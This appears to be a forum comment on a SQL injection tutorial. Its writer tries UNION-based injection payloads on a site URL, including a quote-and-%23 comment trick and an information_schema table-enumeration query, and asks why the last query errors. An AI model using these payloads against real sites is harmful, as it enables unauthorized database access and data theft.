I try this tutorial.. and have problem.
First: when you try write http://evilzone.org/index.php?id=17+ORDER+BY+5 or http://evilzone.org/index.php?id=17+UNION+ALL+SELECT+1,2,3 you get nothing.. I solved this problem with ...?id=17' UNION ALL SELECT 1,2,3# but if you write in url in my case # dont works so I change it to %23. like ?id=17' UNION ALL SELECT 1,2,3%23.
Second: when I try this ?id=17+UNION+ALL+SELECT+1,2,concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database() its dont work.. I try in MySQL and its gives this error: #1109 - Unknown table 'table_test' in information_schema
in my case Sql query is : SELECT * FROM `table_test` WHERE straipsnio_id = '1' UNION ALL SELECT 1,2,3,concat(table_name) FROM `information_schema.TABLES` WHERE table_schema=database(),5,6,7,8,9,10
any solution?